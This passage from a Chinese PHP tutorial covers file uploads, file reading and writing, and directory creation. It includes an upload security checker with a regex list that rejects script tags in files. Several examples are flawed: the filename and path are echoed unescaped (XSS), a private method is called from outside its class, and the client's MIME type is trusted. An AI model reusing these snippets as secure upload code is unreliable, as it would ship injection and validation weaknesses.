        if (!is_dir($this->uploadDir)) {
            if (!mkdir($this->uploadDir, 0755, true)) {
                throw new Exception("无法创建上传目录:{$this->uploadDir}");
            }
        }
    }

    // 设置允许的文件类型
    public function setAllowedTypes(array $types) {
        $this->allowedTypes = $types;
        return $this;
    }

    // 设置允许的扩展名
    public function setAllowedExtensions(array $extensions) {
        $this->allowedExtensions = $extensions;
        return $this;
    }

    // 设置最大文件大小
    public function setMaxSize($size) {
        $this->maxSize = $size;
        return $this;
    }

    // 设置是否覆盖已存在文件
    public function setOverwrite($overwrite) {
        $this->overwrite = $overwrite;
        return $this;
    }

    // 设置是否随机化文件名
    public function setRandomizeName($randomize) {
        $this->randomizeName = $randomize;
        return $this;
    }

    // 上传单个文件
    public function upload($fileInput) {
        if (!isset($_FILES[$fileInput])) {
            throw new Exception("没有上传文件");
        }

        $file = $_FILES[$fileInput];

        // 验证上传
        $this->validateUpload($file);

        // 验证文件
        $this->validateFile($file);

        // 生成目标文件名
        $targetFile = $this->generateTargetFilename($file['name']);

        // 移动文件
        if (!move_uploaded_file($file['tmp_name'], $targetFile)) {
            throw new Exception("文件移动失败");
        }

        return [
            'original_name' => $file['name'],
            'file_path' => $targetFile,
            'file_size' => $file['size'],
            'file_type' => $file['type'],
            'upload_time' => date('Y-m-d H:i:s')
        ];
    }

    // 批量上传
    public function uploadMultiple($fileInput) {
        if (!isset($_FILES[$fileInput])) {
            throw new Exception("没有上传文件");
        }

        $files = $_FILES[$fileInput];
        $results = [];

        // 处理多个文件
        for ($i = 0; $i < count($files['name']); $i++) {
            if ($files['error'][$i] === UPLOAD_ERR_OK) {
                $file = [
                    'name' => $files['name'][$i],
                    'type' => $files['type'][$i],
                    'tmp_name' => $files['tmp_name'][$i],
                    'error' => $files['error'][$i],
                    'size' => $files['size'][$i]
                ];

                try {
                    $result = $this->uploadSingle($file);
                    $results[] = $result;
                } catch (Exception $e) {
                    $results[] = [
                        'error' => $e->getMessage(),
                        'original_name' => $files['name'][$i]
                    ];
                }
            } else {
                $results[] = [
                    'error' => $this->getUploadErrorMessage($files['error'][$i]),
                    'original_name' => $files['name'][$i]
                ];
            }
        }

        return $results;
    }

    // 上传单个文件(内部方法)
    private function uploadSingle($file) {
        $this->validateUpload($file);
        $this->validateFile($file);

        $targetFile = $this->generateTargetFilename($file['name']);

        if (!move_uploaded_file($file['tmp_name'], $targetFile)) {
            throw new Exception("文件移动失败");
        }

        return [
            'original_name' => $file['name'],
            'file_path' => $targetFile,
            'file_size' => $file['size'],
            'file_type' => $file['type'],
            'upload_time' => date('Y-m-d H:i:s')
        ];
    }

    // 验证上传
    private function validateUpload($file) {
        if ($file['error'] !== UPLOAD_ERR_OK) {
            throw new Exception($this->getUploadErrorMessage($file['error']));
        }

        if (!is_uploaded_file($file['tmp_name'])) {
            throw new Exception("不是有效的上传文件");
        }
    }

    // 验证文件
    private function validateFile($file) {
        // 检查文件大小
        if ($file['size'] > $this->maxSize) {
            throw new Exception("文件大小超过限制:" . $this->formatBytes($this->maxSize));
        }

        // 检查MIME类型
        if (!empty($this->allowedTypes) && !in_array($file['type'], $this->allowedTypes)) {
            throw new Exception("不支持的文件类型:{$file['type']}");
        }

        // 检查文件扩展名
        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        if (!empty($this->allowedExtensions) && !in_array($extension, $this->allowedExtensions)) {
            throw new Exception("不支持的文件扩展名:{$extension}");
        }

        // 验证文件内容(可选)
        if ($this->isImageFile($file)) {
            $this->validateImage($file['tmp_name']);
        }
    }

    // 验证图片文件
    private function validateImage($tmpName) {
        $imageInfo = getimagesize($tmpName);
        if ($imageInfo === false) {
            throw new Exception("不是有效的图片文件");
        }

        // 检查图片尺寸限制
        list($width, $height) = $imageInfo;
        if ($width > 4000 || $height > 4000) {
            throw new Exception("图片尺寸过大");
        }
    }

    // 判断是否为图片文件
    private function isImageFile($file) {
        return strpos($file['type'], 'image/') === 0;
    }

    // 生成目标文件名
    private function generateTargetFilename($originalName) {
        $extension = pathinfo($originalName, PATHINFO_EXTENSION);
        $basename = pathinfo($originalName, PATHINFO_FILENAME);

        if ($this->randomizeName) {
            $basename = uniqid() . '_' . time();
        }

        $targetName = $basename . '.' . $extension;
        $targetPath = $this->uploadDir . DIRECTORY_SEPARATOR . $targetName;

        // 处理文件名冲突
        $counter = 1;
        while (!$this->overwrite && file_exists($targetPath)) {
            $targetName = $basename . '_' . $counter . '.' . $extension;
            $targetPath = $this->uploadDir . DIRECTORY_SEPARATOR . $targetName;
            $counter++;
        }

        return $targetPath;
    }

    // 格式化字节大小
    private function formatBytes($bytes) {
        $units = ['B', 'KB', 'MB', 'GB'];
        $bytes = max(0, $bytes);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);

        $bytes /= pow(1024, $pow);
        return round($bytes, 2) . ' ' . $units[$pow];
    }

    // 获取上传错误消息
    private function getUploadErrorMessage($errorCode) {
        switch ($errorCode) {
            case UPLOAD_ERR_INI_SIZE:
                return "文件大小超过php.ini中的限制";
            case UPLOAD_ERR_FORM_SIZE:
                return "文件大小超过HTML表单中的限制";
            case UPLOAD_ERR_PARTIAL:
                return "文件只有部分被上传";
            case UPLOAD_ERR_NO_FILE:
                return "没有文件被上传";
            case UPLOAD_ERR_NO_TMP_DIR:
                return "找不到临时文件夹";
            case UPLOAD_ERR_CANT_WRITE:
                return "文件写入失败";
            case UPLOAD_ERR_EXTENSION:
                return "上传被文件扩展停止";
            default:
                return "未知上传错误";
        }
    }
}

// 使用示例
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    try {
        $uploader = new FileUploader('uploads');

        // 设置上传限制
        $uploader->setAllowedExtensions(['jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx'])
                ->setMaxSize(10485760) // 10MB
                ->setRandomizeName(true)
                ->setOverwrite(false);

        // 上传单个文件
        if (isset($_FILES['single_file'])) {
            $result = $uploader->upload('single_file');
            echo "<h3>上传成功!</h3>";
            echo "<p>原文件名:" . $result['original_name'] . "</p>";
            echo "<p>保存路径:" . $result['file_path'] . "</p>";
            echo "<p>文件大小:" . $uploader->formatBytes($result['file_size']) . "</p>";
            echo "<p>上传时间:" . $result['upload_time'] . "</p>";
        }

        // 批量上传
        if (isset($_FILES['multiple_files'])) {
            $results = $uploader->uploadMultiple('multiple_files');
            echo "<h3>批量上传结果:</h3>";
            echo "<ul>";
            foreach ($results as $i => $result) {
                if (isset($result['error'])) {
                    echo "<li>错误:" . htmlspecialchars($result['error']) . "</li>";
                } else {
                    echo "<li>成功:" . htmlspecialchars($result['original_name']) . "</li>";
                }
            }
            echo "</ul>";
        }

    } catch (Exception $e) {
        echo "<h3>上传错误</h3>";
        echo "<p>" . htmlspecialchars($e->getMessage()) . "</p>";
    }
}
?>

<!-- HTML表单 -->
<!DOCTYPE html>
<html>
<head>
    <title>文件上传示例</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        .upload-form { border: 1px solid #ddd; padding: 20px; margin: 20px 0; }
        .form-group { margin: 15px 0; }
        label { display: block; margin-bottom: 5px; font-weight: bold; }
        input[type="file"] { padding: 5px; }
        button { padding: 10px 20px; background-color: #007cba; color: white; border: none; cursor: pointer; }
        button:hover { background-color: #005a87; }
        .success { color: green; }
        .error { color: red; }
    </style>
</head>
<body>
    <h1>文件上传示例</h1>

    <div class="upload-form">
        <h3>单个文件上传</h3>
        <form method="POST" enctype="multipart/form-data">
            <div class="form-group">
                <label for="single_file">选择文件:</label>
                <input type="file" name="single_file" id="single_file" required>
            </div>
            <button type="submit">上传文件</button>
        </form>
    </div>

    <div class="upload-form">
        <h3>多个文件上传</h3>
        <form method="POST" enctype="multipart/form-data">
            <div class="form-group">
                <label for="multiple_files">选择多个文件:</label>
                <input type="file" name="multiple_files[]" id="multiple_files" multiple required>
            </div>
            <button type="submit">批量上传</button>
        </form>
    </div>
</body>
</html>

安全注意事项

1. 文件安全检查

<?php
// 文件安全检查类
class FileSecurityChecker {
    private $allowedExtensions = [];
    private $maxFileSize = 10485760; // 10MB
    private $allowedMimeTypes = [];

    public function __construct() {
        // 设置默认的安全配置
        $this->allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'txt', 'doc', 'docx'];
        $this->allowedMimeTypes = [
            'image/jpeg', 'image/png', 'image/gif',
            'application/pdf',
            'text/plain',
            'application/msword',
            'application/vnd.openxmlformats-officedocument.wordprocessingml.document'
        ];
    }

    // 验证上传文件
    public function validateUploadedFile($file) {
        // 检查上传错误
        if ($file['error'] !== UPLOAD_ERR_OK) {
            throw new Exception("上传错误:" . $this->getUploadErrorMessage($file['error']));
        }

        // 验证是否为上传文件
        if (!is_uploaded_file($file['tmp_name'])) {
            throw new Exception("文件不是通过HTTP POST上传的");
        }

        // 验证文件扩展名
        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        if (!in_array($extension, $this->allowedExtensions)) {
            throw new Exception("不允许的文件扩展名:{$extension}");
        }

        // 验证文件大小
        if ($file['size'] > $this->maxFileSize) {
            throw new Exception("文件大小超过限制");
        }

        // 验证MIME类型
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mimeType = finfo_file($finfo, $file['tmp_name']);
        finfo_close($finfo);

        if (!in_array($mimeType, $this->allowedMimeTypes)) {
            throw new Exception("不允许的MIME类型:{$mimeType}");
        }

        // 检查文件内容
        $this->validateFileContent($file['tmp_name'], $mimeType);

        return true;
    }

    // 验证文件内容
    private function validateFileContent($filePath, $mimeType) {
        // 检查文件是否为图片
        if (strpos($mimeType, 'image/') === 0) {
            $this->validateImage($filePath);
        }

        // 检查是否包含恶意代码
        $this->checkForMaliciousContent($filePath);

        return true;
    }

    // 验证图片文件
    private function validateImage($filePath) {
        // 使用getimagesize检查文件头
        $imageInfo = @getimagesize($filePath);
        if ($imageInfo === false) {
            throw new Exception("文件不是有效的图片");
        }

        // 检查图片尺寸
        list($width, $height) = $imageInfo;
        if ($width <= 0 || $height <= 0) {
            throw new Exception("无效的图片尺寸");
        }

        // 检查图片是否过大
        if ($width > 4000 || $height > 4000) {
            throw new Exception("图片尺寸过大");
        }

        // 重新保存图片以去除潜在的恶意代码
        $this->sanitizeImage($filePath, $imageInfo[2]);
    }

    // 清理图片文件
    private function sanitizeImage($filePath, $imageType) {
        switch ($imageType) {
            case IMAGETYPE_JPEG:
                $image = imagecreatefromjpeg($filePath);
                imagejpeg($image, $filePath, 90);
                break;
            case IMAGETYPE_PNG:
                $image = imagecreatefrompng($filePath);
                imagepng($image, $filePath, 9);
                break;
            case IMAGETYPE_GIF:
                $image = imagecreatefromgif($filePath);
                imagegif($image, $filePath);
                break;
        }

        if (isset($image)) {
            imagedestroy($image);
        }
    }

    // 检查恶意内容
    private function checkForMaliciousContent($filePath) {
        // 读取文件的前1KB内容检查
        $handle = fopen($filePath, 'r');
        $content = fread($handle, 1024);
        fclose($handle);

        // 检查常见的Web脚本标签
        $dangerousPatterns = [
            '/<\?php/i',
            '/<\?=/i',
            '/<script/i',
            '/javascript:/i',
            '/vbscript:/i',
            '/onload=/i',
            '/onerror=/i'
        ];

        foreach ($dangerousPatterns as $pattern) {
            if (preg_match($pattern, $content)) {
                throw new Exception("文件包含危险内容");
            }
        }

        return true;
    }

    // 获取上传错误消息
    private function getUploadErrorMessage($errorCode) {
        switch ($errorCode) {
            case UPLOAD_ERR_INI_SIZE:
                return "文件大小超过服务器限制";
            case UPLOAD_ERR_FORM_SIZE:
                return "文件大小超过表单限制";
            case UPLOAD_ERR_PARTIAL:
                return "文件只上传了部分内容";
            case UPLOAD_ERR_NO_FILE:
                return "没有选择文件";
            case UPLOAD_ERR_NO_TMP_DIR:
                return "服务器配置错误:缺少临时目录";
            case UPLOAD_ERR_CANT_WRITE:
                return "文件写入失败";
            case UPLOAD_ERR_EXTENSION:
                return "上传被扩展阻止";
            default:
                return "未知上传错误";
        }
    }

    // 生成安全的文件名
    public function generateSecureFilename($originalName) {
        // 获取文件扩展名
        $extension = pathinfo($originalName, PATHINFO_EXTENSION);
        $basename = pathinfo($originalName, PATHINFO_FILENAME);

        // 清理文件名
        $basename = preg_replace('/[^a-zA-Z0-9_-]/', '', $basename);
        $basename = substr($basename, 0, 50); // 限制长度

        // 生成随机前缀
        $prefix = bin2hex(random_bytes(8));
        $timestamp = time();

        return $prefix . '_' . $timestamp . '_' . $basename . '.' . $extension;
    }

    // 创建安全的上传目录结构
    public function createSecureUploadDir($baseDir) {
        // 按年月创建目录
        $year = date('Y');
        $month = date('m');
        $day = date('d');

        $dirPath = $baseDir . DIRECTORY_SEPARATOR . $year .
                   DIRECTORY_SEPARATOR . $month .
                   DIRECTORY_SEPARATOR . $day;

        if (!is_dir($dirPath)) {
            if (!mkdir($dirPath, 0755, true)) {
                throw new Exception("无法创建上传目录");
            }

            // 创建.htaccess文件防止直接访问
            $htaccessContent = "Options -Indexes\n";
            $htaccessContent .= "deny from all\n";
            file_put_contents($dirPath . DIRECTORY_SEPARATOR . '.htaccess', $htaccessContent);
        }

        return $dirPath;
    }
}

// 使用示例
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['secure_upload'])) {
    try {
        $securityChecker = new FileSecurityChecker();

        // 验证上传文件
        $file = $_FILES['secure_upload'];
        $securityChecker->validateUploadedFile($file);

        // 生成安全文件名
        $secureFilename = $securityChecker->generateSecureFilename($file['name']);

        // 创建安全上传目录
        $uploadDir = $securityChecker->createSecureUploadDir('secure_uploads');
        $targetPath = $uploadDir . DIRECTORY_SEPARATOR . $secureFilename;

        // 移动文件
        if (move_uploaded_file($file['tmp_name'], $targetPath)) {
            echo "<div class='success'>";
            echo "<h3>安全上传成功!</h3>";
            echo "<p>安全文件名:" . htmlspecialchars($secureFilename) . "</p>";
            echo "<p>存储路径:" . htmlspecialchars($targetPath) . "</p>";
            echo "</div>";
        } else {
            throw new Exception("文件移动失败");
        }

    } catch (Exception $e) {
        echo "<div class='error'>";
        echo "<h3>安全检查失败</h3>";
        echo "<p>" . htmlspecialchars($e->getMessage()) . "</p>";
        echo "</div>";
    }
}
?>

<!-- 安全上传表单 -->
<div class="upload-form">
    <h3>安全文件上传</h3>
    <form method="POST" enctype="multipart/form-data">
        <div class="form-group">
            <label for="secure_upload">选择文件(安全上传):</label>
            <input type="file" name="secure_upload" id="secure_upload" required>
            <small>允许的文件类型:JPG, PNG, GIF, PDF, DOC, DOCX(最大10MB)</small>
        </div>
        <button type="submit">安全上传</button>
    </form>
</div>

总结

文件操作是PHP开发中的核心技能,掌握文件操作对于构建功能完整的Web应用至关重要。

关键要点:

  1. 路径处理:正确处理相对路径和绝对路径,使用跨平台的路径函数
  2. 文件权限:理解文件权限,确保PHP进程有足够的权限
  3. 错误处理:始终检查文件操作函数的返回值
  4. 安全考虑:验证上传文件,防止路径遍历攻击
  5. 性能优化:对大文件使用流式处理,避免内存溢出

最佳实践:

  • 使用file_exists()检查文件是否存在
  • 对上传文件进行严格的验证和安全检查
  • 使用文件锁定机制防止并发写入问题
  • 为上传的文件生成安全的文件名
  • 及时关闭文件句柄释放资源
  • 使用异常处理机制管理文件操作错误

通过学习本章内容,你现在应该能够熟练处理PHP中的各种文件操作,为构建复杂的Web应用打下坚实基础。

文件读写

文件读写是PHP中最基本也是最重要的操作之一。通过文件读写,我们可以存储数据、读取配置、处理日志等。本节将详细介绍PHP中的各种文件读写方法。

学习目标

完成本节学习后,你将能够:

  • 掌握不同的文件读取方法
  • 学会安全地写入文件内容
  • 理解文件指针和定位操作
  • 处理大文件的读写技巧
  • 了解文件锁定的使用方法

文件读取的基本方法

1. file_get_contents() - 最简单的读取方法

file_get_contents() 是最简单易用的文件读取函数,适合读取小文件。

<?php
// 基本用法
$content = file_get_contents('example.txt');

if ($content === false) {
    echo "读取文件失败";
} else {
    echo "文件内容:" . htmlspecialchars($content);
}

// 读取远程文件(如果PHP配置允许)
$remoteContent = file_get_contents('https://www.example.com');
if ($remoteContent !== false) {
    echo "远程文件长度:" . strlen($remoteContent) . " 字节";
}
?>

2. file() - 按行读取文件

file() 函数将文件的每一行作为数组元素返回。

<?php
// 读取文件到数组
$lines = file('example.txt');

if ($lines === false) {
    echo "读取失败";
} else {
    echo "文件共有 " . count($lines) . " 行<br>";

    // 显示前5行
    for ($i = 0; $i < min(5, count($lines)); $i++) {
        $lineNumber = $i + 1;
        echo "第{$lineNumber}行:" . htmlspecialchars($lines[$i]) . "<br>";
    }
}

// 使用参数控制读取行为
$lines = file('example.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

// FILE_IGNORE_NEW_LINES:忽略每行的换行符
// FILE_SKIP_EMPTY_LINES:跳过空行
// FILE_TEXT:以文本模式读取(Windows下转换换行符)
// FILE_BINARY:以二进制模式读取

echo "处理后的行数:" . count($lines) . "<br>";
?>

3. fopen/fread/fclose - 流式读取

对于大文件,使用流式读取更节省内存。

<?php
// 基本的流式读取
$handle = fopen('large_file.txt', 'r');

if ($handle === false) {
    echo "无法打开文件";
} else {
    // 读取整个文件(适合大文件)
    $content = '';
    while (!feof($handle)) {
        $chunk = fread($handle, 8192); // 每次读取8KB
        if ($chunk !== false) {
            $content .= $chunk;
        }
    }

    fclose($handle);
    echo "读取完成,总长度:" . strlen($content) . " 字节";
}

// 按行读取
$handle = fopen('data.csv', 'r');
if ($handle !== false) {
    $lineCount = 0;
    while (($line = fgets($handle)) !== false) {
        $lineCount++;
        echo "第{$lineCount}行:" . htmlspecialchars(trim($line)) . "<br>";

        // 只显示前10行
        if ($lineCount >= 10) {
            break;
        }
    }
    fclose($handle);
}
?>

文件写入的基本方法

1. file_put_contents() - 最简单的写入方法

<?php
// 基本写入
$data = "Hello, PHP文件写入!\n这是第二行。";
$result = file_put_contents('output.txt', $data);

if ($result === false) {
    echo "写入失败";
} else {
    echo "成功写入 {$result} 字节";
}

// 追加写入
$additionalData = "\n这是追加的内容。";
file_put_contents('output.txt', $additionalData, FILE_APPEND);

// 使用锁定防止并发写入
$lockedData = "需要安全写入的内容";
$result = file_put_contents('important.txt', $lockedData, LOCK_EX);

// FILE_APPEND: 追加模式
// LOCK_EX: 独占锁定
// FILE_TEXT: 文本模式
// FILE_BINARY: 二进制模式
?>

2. fwrite/fopen - 流式写入

<?php
// 写入文件
$handle = fopen('output.txt', 'w');
if ($handle !== false) {
    fwrite($handle, "第一行内容\n");
    fwrite($handle, "第二行内容\n");
    fwrite($handle, "第三行内容\n");
    fclose($handle);
    echo "文件写入完成";
}

// 追加写入
$handle = fopen('output.txt', 'a');
if ($handle !== false) {
    fwrite($handle, "这是追加的内容\n");
    fclose($handle);
}

// 文件模式说明:
// 'r'  - 只读,从文件开头开始
// 'r+' - 读写,从文件开头开始
// 'w'  - 只写,清空文件内容(如果不存在则创建)
// 'w+' - 读写,清空文件内容
// 'a'  - 只写,从文件末尾开始追加(如果不存在则创建)
// 'a+' - 读写,从文件末尾开始追加
// 'x'  - 只写,创建新文件(如果文件已存在则失败)
// 'x+' - 读写,创建新文件
?>

高级文件操作

1. 文件指针定位

<?php
// 文件指针操作示例
$handle = fopen('data.txt', 'r+');
if ($handle !== false) {
    // 写入初始内容
    fwrite($handle, "这是第一行\n这是第二行\n这是第三行\n");

    // 回到文件开头
    rewind($handle);
    echo "当前位置:" . ftell($handle) . "<br>"; // 输出: 0

    // 读取第一行
    $firstLine = fgets($handle);
    echo "第一行:" . htmlspecialchars($firstLine) . "<br>";
    echo "当前位置:" . ftell($handle) . "<br>";

    // 移动到指定位置
    fseek($handle, 10); // 移动到第10个字节
    echo "移动后位置:" . ftell($handle) . "<br>";

    // 从当前位置读取
    $remaining = fread($handle, 100);
    echo "剩余内容:" . htmlspecialchars($remaining) . "<br>";

    // 移动到文件末尾
    fseek($handle, 0, SEEK_END);
    echo "文件末尾位置:" . ftell($handle) . "<br>";

    // 在文件末尾添加内容
    fwrite($handle, "追加到末尾的内容\n");

    fclose($handle);
}
?>

2. CSV文件处理

<?php
// 写入CSV文件
$data = [
    ['姓名', '年龄', '邮箱'],
    ['张三', 25, 'zhangsan@example.com'],
    ['李四', 30, 'lisi@example.com'],
    ['王五', 28, 'wangwu@example.com']
];

$handle = fopen('users.csv', 'w');
if ($handle !== false) {
    foreach ($data as $row) {
        fputcsv($handle, $row);
    }
    fclose($handle);
    echo "CSV文件写入完成";
}

// 读取CSV文件
$handle = fopen('users.csv', 'r');
if ($handle !== false) {
    echo "<h3>用户列表:</h3>";
    echo "<table border='1'>";
    echo "<tr><th>姓名</th><th>年龄</th><th>邮箱</th></tr>";

    $isFirstRow = true;
    while (($row = fgetcsv($handle)) !== false) {
        if ($isFirstRow) {
            $isFirstRow = false;
            continue; // 跳过标题行
        }

        echo "<tr>";
        echo "<td>" . htmlspecialchars($row[0]) . "</td>";
        echo "<td>" . htmlspecialchars($row[1]) . "</td>";
        echo "<td>" . htmlspecialchars($row[2]) . "</td>";
        echo "</tr>";
    }

    echo "</table>";
    fclose($handle);
}
?>

3. 配置文件读写

<?php
// 写入INI配置文件
$config = [
    'database' => [
        'host' => 'localhost',
        'username' => 'root',
        'password' => 'password',
        'database' => 'myapp'
    ],
    'app' => [
        'name' => 'My Application',
        'version' => '1.0.0',
        'debug' => true
    ]
];

// 写入PHP数组格式
$content = "<?php\nreturn " . var_export($config, true) . ";\n";
file_put_contents('config.php', $content);

// 写入JSON格式
$jsonContent = json_encode($config, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
file_put_contents('config.json', $jsonContent);

// 读取配置文件
$phpConfig = include 'config.php';
$jsonConfig = json_decode(file_get_contents('config.json'), true);

echo "<h3>PHP配置:</h3>";
echo "数据库主机:" . $phpConfig['database']['host'] . "<br>";

echo "<h3>JSON配置:</h3>";
echo "应用名称:" . $jsonConfig['app']['name'] . "<br>";
?>

实用示例

1. 简单的计数器

<?php
// 网站访问计数器
class Counter {
    private $file;

    public function __construct($file = 'counter.txt') {
        $this->file = $file;

        // 初始化计数器文件
        if (!file_exists($this->file)) {
            file_put_contents($this->file, '0');
        }
    }

    public function increment() {
        $current = (int)file_get_contents($this->file);
        $current++;

        // 使用文件锁定
        file_put_contents($this->file, $current, LOCK_EX);
        return $current;
    }

    public function getCount() {
        return (int)file_get_contents($this->file);
    }

    public function reset() {
        file_put_contents($this->file, '0', LOCK_EX);
    }
}

// 使用计数器
$counter = new Counter();
$count = $counter->increment();

echo "您是第 {$count} 位访问者!<br>";
echo "总访问次数:" . $counter->getCount();
?>

2. 简单的日志记录器

<?php
// 日志记录器类
class Logger {
    private $logFile;

    public function __construct($file = 'app.log') {
        $this->logFile = $file;
    }

    public function log($message, $level = 'INFO') {
        $timestamp = date('Y-m-d H:i:s');
        $logEntry = "[{$timestamp}] [{$level}] {$message}" . PHP_EOL;

        // 追加到日志文件
        file_put_contents($this->logFile, $logEntry, FILE_APPEND | LOCK_EX);
    }

    public function error($message) {
        $this->log($message, 'ERROR');
    }

    public function warning($message) {
        $this->log($message, 'WARNING');
    }

    public function info($message) {
        $this->log($message, 'INFO');
    }

    public function getRecentLogs($lines = 10) {
        if (!file_exists($this->logFile)) {
            return [];
        }

        $content = file_get_contents($this->logFile);
        $allLines = explode(PHP_EOL, trim($content));

        // 返回最后几行
        return array_slice($allLines, -$lines);
    }
}

// 使用日志记录器
$logger = new Logger();

$logger->info('应用程序启动');
$logger->warning('内存使用率较高');
$logger->error('数据库连接失败');

echo "日志记录完成<br>";

// 显示最近5条日志
$recentLogs = $logger->getRecentLogs(5);
echo "<h3>最近日志:</h3>";
foreach ($recentLogs as $log) {
    echo htmlspecialchars($log) . "<br>";
}
?>

3. 文件备份工具

<?php
// 简单的文件备份类
class FileBackup {
    private $backupDir;

    public function __construct($backupDir = 'backup') {
        $this->backupDir = $backupDir;

        if (!is_dir($this->backupDir)) {
            mkdir($this->backupDir, 0755, true);
        }
    }

    public function backupFile($sourceFile) {
        if (!file_exists($sourceFile)) {
            throw new Exception("源文件不存在:{$sourceFile}");
        }

        $basename = basename($sourceFile);
        $timestamp = date('YmdHis');
        $backupFile = $this->backupDir . "/{$basename}.{$timestamp}.backup";

        if (copy($sourceFile, $backupFile)) {
            return $backupFile;
        } else {
            throw new Exception("备份失败:{$sourceFile}");
        }
    }

    public function restoreBackup($backupFile, $targetFile) {
        if (!file_exists($backupFile)) {
            throw new Exception("备份文件不存在:{$backupFile}");
        }

        // 备份当前文件(如果存在)
        if (file_exists($targetFile)) {
            $this->backupFile($targetFile);
        }

        if (copy($backupFile, $targetFile)) {
            return true;
        } else {
            throw new Exception("恢复失败:{$backupFile}");
        }
    }

    public function listBackups($pattern = null) {
        $backups = [];
        $files = scandir($this->backupDir);

        foreach ($files as $file) {
            if ($file === '.' || $file === '..') {
                continue;
            }

            if ($pattern !== null && strpos($file, $pattern) === false) {
                continue;
            }

            if (preg_match('/^(.+)\.(\d+)\.backup$/', $file, $matches)) {
                $originalFile = $matches[1];
                $timestamp = $matches[2];
                $backupPath = $this->backupDir . '/' . $file;

                $backups[] = [
                    'original' => $originalFile,
                    'timestamp' => $timestamp,
                    'date' => date('Y-m-d H:i:s', strtotime($timestamp)),
                    'path' => $backupPath,
                    'size' => filesize($backupPath)
                ];
            }
        }

        return $backups;
    }
}

// 使用备份工具
try {
    $backup = new FileBackup();

    // 创建测试文件
    file_put_contents('test.txt', '这是测试文件内容');

    // 备份文件
    $backupFile = $backup->backupFile('test.txt');
    echo "文件已备份到:" . htmlspecialchars($backupFile) . "<br>";

    // 修改原文件
    file_put_contents('test.txt', '修改后的内容');

    // 再次备份
    $backup->backupFile('test.txt');

    // 列出所有备份
    $backups = $backup->listBackups('test.txt');
    echo "<h3>备份列表:</h3>";
    foreach ($backups as $b) {
        echo "文件:{$b['original']},日期:{$b['date']},大小:{$b['size']} 字节<br>";
    }

} catch (Exception $e) {
    echo "错误:" . $e->getMessage();
}
?>

最佳实践

1. 错误处理

<?php
// 安全的文件读取函数
function safeFileRead($filename) {
    if (!file_exists($filename)) {
        throw new Exception("文件不存在:{$filename}");
    }

    if (!is_readable($filename)) {
        throw new Exception("文件不可读:{$filename}");
    }

    $content = file_get_contents($filename);
    if ($content === false) {
        throw new Exception("读取文件失败:{$filename}");
    }

    return $content;
}

// 安全的文件写入函数
function safeFileWrite($filename, $content) {
    // 确保目录存在
    $directory = dirname($filename);
    if (!is_dir($directory)) {
        if (!mkdir($directory, 0755, true)) {
            throw new Exception("无法创建目录:{$directory}");
        }
    }

    // 使用锁定写入
    $result = file_put_contents($filename, $content, LOCK_EX);
    if ($result === false) {
        throw new Exception("写入文件失败:{$filename}");
    }

    return $result;
}

// 使用示例
try {
    $content = safeFileRead('input.txt');
    $modifiedContent = strtoupper($content);
    safeFileWrite('output.txt', $modifiedContent);
    echo "文件处理完成";
} catch (Exception $e) {
    echo "错误:" . $e->getMessage();
}
?>

2. 内存管理

<?php
// 处理大文件的逐行处理函数
function processLargeFile($filename, $callback) {
    $handle = fopen($filename, 'r');
    if ($handle === false) {
        throw new Exception("无法打开文件:{$filename}");
    }

    try {
        $lineNumber = 0;
        while (($line = fgets($handle)) !== false) {
            $lineNumber++;
            $callback($line, $lineNumber);
        }
    } finally {
        fclose($handle);
    }
}

// 使用示例:统计文件行数和字符数
$lineCount = 0;
$totalChars = 0;

processLargeFile('large_file.txt', function($line, $lineNum) use (&$lineCount, &$totalChars) {
    $lineCount++;
    $totalChars += strlen($line);

    // 每处理1000行输出一次进度
    if ($lineNum % 1000 === 0) {
        echo "已处理 {$lineNum} 行<br>";
    }
});

echo "处理完成:<br>";
echo "总行数:{$lineCount}<br>";
echo "总字符数:{$totalChars}<br>";
?>

总结

文件读写是PHP开发中的基础技能,掌握好这些技巧对实际开发非常重要。

关键要点:

  1. 选择合适的方法

    • file_get_contents/file_put_contents:适合小文件和简单操作
    • fopen/fread/fwrite:适合大文件和精细控制
    • file/fgetcsv/fputcsv:适合按行处理和CSV文件
  2. 安全考虑

    • 始终检查文件是否存在和可读写
    • 使用文件锁定防止并发问题
    • 处理错误和异常情况
  3. 性能优化

    • 对大文件使用流式处理
    • 及时关闭文件句柄
    • 避免一次性读取过大的文件
  4. 实用技巧

    • 使用文件锁定确保数据一致性
    • 创建备份文件保护重要数据
    • 使用适当的文件模式

通过本节的学习,你应该能够熟练处理PHP中的各种文件读写操作。

目录操作

目录操作是文件系统管理的重要组成部分。在PHP中,我们可以创建、删除、遍历和管理目录,这对于构建文件管理系统、内容管理系统和其他需要组织文件的应用程序非常重要。

学习目标

完成本节学习后,你将能够:

  • 创建和删除目录
  • 遍历目录内容
  • 管理目录权限
  • 递归操作目录树
  • 构建目录管理工具

目录的基本操作

1. 创建目录

使用 mkdir() 函数可以创建新目录。

<?php
// 基本目录创建
$dirName = 'new_directory';

if (mkdir($dirName)) {
    echo "目录 '{$dirName}' 创建成功<br>";
} else {
    echo "目录 '{$dirName}' 创建失败<br>";
}

// 创建多层目录(递归创建)
$nestedDir = 'path/to/nested/directory';

if (mkdir($nestedDir, 0755, true)) {
    echo "多层目录 '{$nestedDir}' 创建成功<br>";
} else {
    echo "多层目录 '{$nestedDir}' 创建失败<br>";
}

// 设置权限创建目录
$secureDir = 'secure_directory';
$permissions = 0755; // rwxr-xr-x (所有者可读写执行,组和其他用户可读执行)

if (mkdir($secureDir, $permissions)) {
    echo "安全目录 '{$secureDir}' 创建成功,权限:" . decoct($permissions) . "<br>";
}
?>

2. 检查目录

<?php
// 目录检查函数
function checkDirectory($path) {
    echo "检查路径:{$path}<br>";
    echo "是否存在:" . (file_exists($path) ? "是" : "否") . "<br>";

    if (file_exists($path)) {
        echo "是否为目录:" . (is_dir($path) ? "是" : "否") . "<br>";
